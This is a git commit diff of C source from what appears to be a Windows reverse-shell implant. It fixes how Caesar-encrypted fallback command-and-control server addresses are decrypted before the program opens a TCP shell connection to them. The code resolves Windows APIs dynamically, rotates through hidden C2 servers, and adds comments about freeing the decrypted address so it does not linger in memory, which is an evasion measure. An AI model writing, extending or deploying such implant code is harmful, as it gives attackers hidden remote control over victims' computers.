fix: decrypting an ip that is already decrypted

This commit is contained in:
2023-02-15 19:53:56 +01:00
parent a5bb8718a3
commit 02014633a1
4 changed files with 34 additions and 16 deletions

View File

@@ -105,8 +105,6 @@ void SendShellEndedSignal(SOCKET sock) {
}
}
#define FALLBACK_SERVERS 4
int serv = -1;
int main() {
InitApis();
@@ -124,7 +122,6 @@ int main() {
struct sockaddr_in server;
char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
server.sin_family = AF_INET;
server.sin_port = Api.htons(1337);
WORD wVersionRequested = MAKEWORD(2, 2);
WSADATA wsaData;
@@ -142,7 +139,19 @@ retry:
if (serv > FALLBACK_SERVERS - 1) {
serv = 0;
}
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(fallback_servers[serv]));
//on fait une copie de l'ip chiffr<66>e, puis on la free
//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
size_t len = strlen(fallback_servers[serv]);
char* Tmp = Api.malloc(len + 1);
Api.strcpy(Tmp, fallback_servers[serv]);
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
Api.free(Tmp);
server.sin_port = Api.htons(fallback_servers_ip[serv]);
//Create socket
sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);